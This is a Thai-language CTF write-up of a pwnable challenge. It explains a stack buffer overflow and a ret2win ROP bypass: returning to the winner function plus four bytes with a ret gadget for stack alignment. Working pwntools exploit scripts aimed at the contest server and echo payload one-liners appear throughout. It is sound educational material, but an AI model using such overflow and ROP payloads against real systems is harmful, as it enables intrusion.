STDiO CTF 2023: 10 — The winner (Pwnable) writeup

Natsuiro XCN
5 min readDec 4, 2023

--

13 solves

สวัสดีครับทุกคนน สำหรับ STDio CTF ในครั้งนี้เป็นครั้งแรกของผมเลยครับ เรามาดูโจทย์ pwnable กันเลยดีกว่าครับบ

ถ้าสงสัยตรงไหนมาถามผมได้เลยนะครับ!
discord : natsuiro_xcn
facebook : Xcn Nate

  • สำหรับตัวdisassembler ผมขอสลับไปมาระหว่าง ida, cutter และ gdb(ตอน debug) นะครับบ *
    ida เพื่อความชัดของ string, Cutter เพื่อความชัดของ Instruction และ ความสบายตา

ไฟล์ : easy_the_winner

ครับผมม เรามาเริ่มจากการ pwn checksec เพื่อที่จะดู security flag ของไฟล์ และ symbol ในไฟล์กันนะครับ

pwn checksec, function

เริ่มจากภาพฝั่งซ้ายก่อนนะครับ
No canary found : แสดงว่าเราสามารถ bufferflow เพื่อที่จะควบคุม control flow ของโปรแกรมได้
No PIE : ไม่มีการสุ่ม address เริ่มต้นของไฟล์ binary (0x40000 คือ base address) และ ทำให้addressต่างๆในไฟล์ไม่เปลี่ยนทุกครั้งที่รันครับ

ส่วนทางภาพฝั่งขวาเราจะเห็น winner vuln main ทั้งสามฟังชั่นก์นี้ที่น่าสงสัยมากๆ
ถ้างั้นเราไปดูกันเลยดีกว่าครับ

เราเริ่มต้นกันด้วย disassembly ของ ไฟล์กันก่อนนะครับ เรามาดูที่ winner Function กันก่อน

winner function

ดูจากตรงส่วนโค้ดนะครับ เราจะเห็นว่ามันมีการเรียกใช้ fopen flag แล้ว print ออกมาเป็น “Congratulations! You found the flag: {FLAG}”

เท่านี้ก็เพียงพอแล้วครับ ทำให้เรารู้ว่าเราต้อง jmp ไปที่ winner เอาล่ะ ทีนี้เรามาหา vulnerability ใน main กันก่อนครับ

main

จาก main function นะครับ เราจะเห็นว่ามันจะ puts ตัว string "--- PING PONG SHOW---" แล้วหลังจากนั้นก็จะเรียกใช้ vuln
ในตอนนี้เรายังไม่เจออะไรที่เราสามารถ exploit ได้ เราไปดูที่ vuln กันดีกว่าครับ

vuln

ตามนั้นเลยครับ เราจะเห็นว่า ตัว n ของเราจะมีค่าเป็น rbp-0x80 (ida) หรือ rsp-0x88 (cutter) แสดงว่า buffer ที่เราควรจะใส่ไปก็คือ 0x88 หรือ 136 นั่นเองครับ

สำหรับใครที่ยังเป็นมือใหม่ในการ buffer overflow นะครับ ผมจะอธิบายคร่าวๆนะครับ ว่าทำไมต้องเป็น 136

function call

rip/eip (instruction pointer) คือ register ที่จะpointไปยัง address ของ Instruction ตัวต่อต่อที่กำลังจะไปถึง

และ เมื่อเราเรียกใช้ function เราจะนำ rip ไปวางไว้บน top stack (push rip) และ เปลี่ยน ripไปที่ address ของ function ที่กำลังจะไป (jmp address)
เพราะฉนั้น ตัว stack ก็จะเป็นตามรูปแรกครับ และ Instruction ต่อไปที่เราจะรันโค้ด ก็คือ address ของ function ที่เราเรียกใช้ครับ

และอีก 3 รูปคือ stack setup ครับ และให้ดูที่รูปที่ 4 ก็คือหลัง stack setup เสร็จเรียบร้อย sub esp, 0x10 เพื่อเตรียมพื้นที่ใน stack สำหรับ local variable

เพราะฉนั้นครับ ตัว rbp-0x80 (ในโจทย์ข้อนี้) คือ variable ที่เราสามารถควบคุมได้ครับ และเราก็สามารถ overflow ค่านี้ไป 0x80 ตัวอักษรเพื่อให้ถึง rbp และบวกไปอีก 4 byte สำหรับ x86 และ 8 byte สำหรับ x64 เพื่อไปให้ถึง rip และเขียนทับครับ

พอแค่นี้ครับ ประมาณนี้พอ 5555

ทีนี้เรารู้แล้วว่า เราจะต้องใส่ buffer เข้าไปเท่าไหร่แล้ว เราก็ต้องมาดู instruction ในส่วนของ vuln กันต่อครับ

vuln (ต่อ)

ตรงนี้ครับ เราจะสังเกตเห็นลักษณะที่มีการ jmp วน
และ ที่ 0x0040134A : add dword [s1], 1 เป็นการบวก1ไปเรื่อยๆทุกๆการวน
เราจึงสรุปได้ว่ามันคือ For loop และ s1 ก็คือตัว “Loop counter” ครับ
หลังจากนั้นก็จะเช็คว่า s1 มีค่าน้อยกว่า 0xc8(200)รึเปล่า ถ้ามากกว่าก็ไปทางซ้าย
แล้วทำงาน printf("PONG: %s", n); โดยจะแสดงผลข้อความที่เราใส่เข้าไปออกมา

และถัดลงมา ก็จะเป็นส่วนที่ memcmp (memory compare)เพื่อเปรียบเทียบตั้งแต่ n[s1] ไปอีก 8 byte ไปเทียบกับ address ของ winner function ครับ
ซึ่งถ้ามันเหมือนกันก็คือ exit(1)

และ สรุปได้โค้ดประมาณนี้

void vuln(){
char n[0x80];
printf("PING: ");
scanf("%s", n);
for (i = 0; i <= 200; ++i){
if (!memcmp(&n[i], &winnerAddress, 8)){
puts("Nice try, but you can't use the address of the winner function!");
exit(1);
}
}

printf("PONG: %s", v1);
}

หมายความว่า payload buffer ที่เราใส่เข้าไปนั้น เราจะไม่สามารถใส่ address ของ winner function เข้าไปได้

แต่แล้วใครแคร์ ¯\_(ツ)_/¯

โอเครครับ ทุกอย่างเรียบร้อยแล้ว เรามาเริ่มทวนกันก่อนว่าเราต้องทำอะไรดีกว่า
1. เราต้อง buffer overflow ไปทับ rip ที่อยู่ใน stack โดยใช้ตัวอักษร 136 ตัว
2. แล้วเราก็ต้องทำอะไรสักอย่างเพื่อ jmp ไปที่ winner function โดนห้ามใช้ winner function

ถ้าผมบอกว่าเราสามารถทำได้หลายวิธีล่ะ….

โอเครครับ ผมจะเริ่มด้วยวิธีที่ผมทำก่อนเลย ผม load binary เข้า gdb แล้วหา address ของ winner function info function

และก็เขียน payload ครับ ด้วย “a” 136 ตัว และ \x56\x12\x40 address ของ the winner

ขอบอกไว้ก่อนนะครับ ว่าผมเขียน exploit ไม่ถนัด5555
เพราะฉนั้นไฟล์ python ผมขอยิงตรงเข้า server เลยนะครับ

#exploit
from pwn import *
rec = remote("157.230.193.18",10010)
rec.recvuntil(b"PING:")

st = b"a" * 136 + b"\x56\x12\x40"
rec.sendline(st)

print(rec.recv(),rec.recv())

หรือว่าจะยิงตรงแบบผมก็ได้ครับ ได้ค่าเหมือนกัน

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x56\x12\x40' | ./easy_the_Winner
Nice try, but you can’t use the address of the winner function!

เห็นไหมครับว่า ถ้าเราใส่ address ของ winner function เข้าไปตรงๆมันจะไม่สามารถทำงานได้

ผมอยากทดสอบว่ามันสามารถ hijack control flow ได้ไหม เรามาลองใช้ address ตัวอื่นกันดีกว่า โดยผมจะไปที่ vuln 0x4012d2

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd2\x12\x40' | ./easy_the_Winner
ping pong ping

เห็นไหมครับ ว่ามีการเรียกใช้ ping อีกครั้งนึง แสดงว่าเราสามารถควบคุม control flow ของโค้ดได้แล้ว แต่ว่าคราวนี้เราจะ jmp เข้าไป winner function ยังไงล่ะ

ผมอยากให้ทุกคนเข้าใจตรงนี้ก่อนนะครับว่า ตัวโค้ด instruction ที่เรากำลังเห็นเป็นบรรทัดๆ ความจริงแล้วมันเป็นแค่ตัวอักษรพิเศษที่ยาวต่อๆกันเท่านั้นเอง ตามนี้เลยครับ

ซึ่ง 0x401256 คือ address เริ่มต้นของ winner function และก็ 0x401256 ก็เก็บ ค่า 0xfa1e0ff3 เอาไว้ และมันก็หมายถึง endbr64 นั้นเองครับ

แต่ความจริงมันก็ไม่ใช่ว่า ตัวที่ 56 มันจะเก็บได้ 4 ตัว แต่มันเป็นแบบนี้นะครับ อย่าเข้าใจผิดไป 1 instruction ใช้ byte ไม่เท่ากันนะครับ ^^

และ นั้นหมายความว่า ผมก็ไม่จำเป็นที่จำต้อง jmp ไปยัง 0x401256 ก็ได้ ตราบใดที่เรา jmp ไปในจุดที่มี permission ในการรัน (เช็คจาก vmmap) และ ใน address นั้นๆเก็บ bytecode ที่สามารถรันได้(อ่านเป็น instruction ได้) เราก็จะสามารถรันโค้ดได้ครับ

น่าจะเข้าใจสิ่งผมจะสื่อแล้วใช่ไหมครับ…

แทนที่เราจะ jmp ไปที่ 0x401256 เราก็คือ บวกเพิ่มไป 4 ตำแหน่ง เพื่อรัน bytecode ตัวต่อไปก็คือตัวที่ 0x40125Aยังไงล่ะครับ

แก้ payload เลยยย

#exploit
from pwn import *
rec = remote("157.230.193.18",10010)
rec.recvuntil(b"PING:")

st = b"a" * 136 + b"\x5A\x12\x40"
rec.sendline(st)

print(rec.recv(),rec.recv())
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x5A\x12\x40' | ./easy_the_Winner
client
server

เอ๊ะ ใน client กับ server ทำไมมันไม่ได้เหมือนกันหว่า

เรายิง exploit ใน client ไป แล้วมันใช้ได้ แต่ทำไมพอเรายิงใน server แล้วเราไม่ jmp เข้าไปที่ function นั้นได้อ่ะ แต่ว่าตอนแรกที่เราทดสอบกับ vuln แล้วมันก็ได้นะ

สรุปง่ายๆนะครับ มัน jmp เข้าไปได้ แต่ว่ามันไป fail ที่ libc function หรือก็คือ fopen ครับผม

ข้อมูลเพิ่มเติม :https://youtu.be/OqTpc_ljPYk?si=k9TMGgiGSzVKp1it&t=927

ของช่อง liveoverflow นะครับ

liveoverflow

เมื่อเรา jmp เข้าไปที่ libc function บางตัวแล้ว มันจะมีการใช้ movaps xmmword ซึ่งมันต้องการ 16 bit aligned หรือ ตำแหน่งของ rsp(stack pointer) จำเป็นต้องลงท้ายด้วย 0x.....00

เพราะฉนั้นเราก็อาจจะต้อง ขยับ rsp ขึ้นลงครับ แต่เราจะทำยังไงได้ล่ะ? เนื่อจากว่า
push จะ — rsp ลง (แต่ดัน stack ขึ้น) และ pop จะ + rsp บวก (แต่ดัน stack ลง)
โดย push จะเห็นใน
call และ pop จะเห็นใน ret

ret มีการทำงานคือ pop ค่าที่อยู่ที่ top stack แล้วก็ jmp ไปที่ตรงนั้นนะครับ

ret

เพราะฉนั้นครับ เราก็แค่ jmp ไปที่ ret อีกรอบนึง แล้วก็ค่อย jmp ไปที่ winner function

โดยเราจะใช้ ret ตรงไหนก็ได้ของตัวโค้ดเลย อย่างที่ผมได้บอกไปด้านบนเลย ว่าขอแค่สามารถระบุ instruction ได้ และ byte code สมบูรณ์ เราก็สามารถ jmp เข้าไปได้เลย

wikipedia

โดยเทคนิคที่เราจะใช้ เราเรียกมันว่า Rop ครับ หรือก็คือ return-oriented programing ก็คือการที่เรากระโดดไปหา instruction ที่สามารถใช้งานได้ในส่วนนึงของโปรแกรมครับ และเมื่อเรากระโดดอย่างต่อเนื่องไปเป็นทอดๆ จาก 1 instruction ไป 10 ไป 100 เราก็จะสามารถสร้างเป็นโปรแกรม 1 โปรแกรมย่อยๆได้เลยครับ

Instruction เล็กๆที่เราได้กระโดดเข้าไป มีชื่อเรียกว่า Gadget และ เมื่อเราเชื่อม Rop ทั้งหมดเข้าด้วยกัน เราจะเรียกมันว่า Rop chain ครับ ^^

ผมจะใช้ Rop gadget ในการหา address ของ gadget ที่ผมต้องการ

ใช้ตัวนี้แหละ พอแล้วว

เขียน exploit ครับ โดยใส่ 0x40101a (\x1a\x10\x40\x00\x00\x00\x00\x00) เข้าไปก่อนหน้าครับ

from pwn import *
rec = remote("157.230.193.18",10010)

rec.recvuntil(b"PING:")
st = b"a"*(136)+ b"\x1a\x10\x40\x00\x00\x00\x00\x00"+b"\x5A\x12\x40" #40125A
rec.sendline(st)

print(len(st),rec.recv(),rec.recv())
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x10\x40\x00\x00\x00\x00\x00\x5A\x12\x40' | ./easy_the_Winner

ก็จะสามารถใช้ได้ทั้ง 2 ตัวเลยครับ

--

--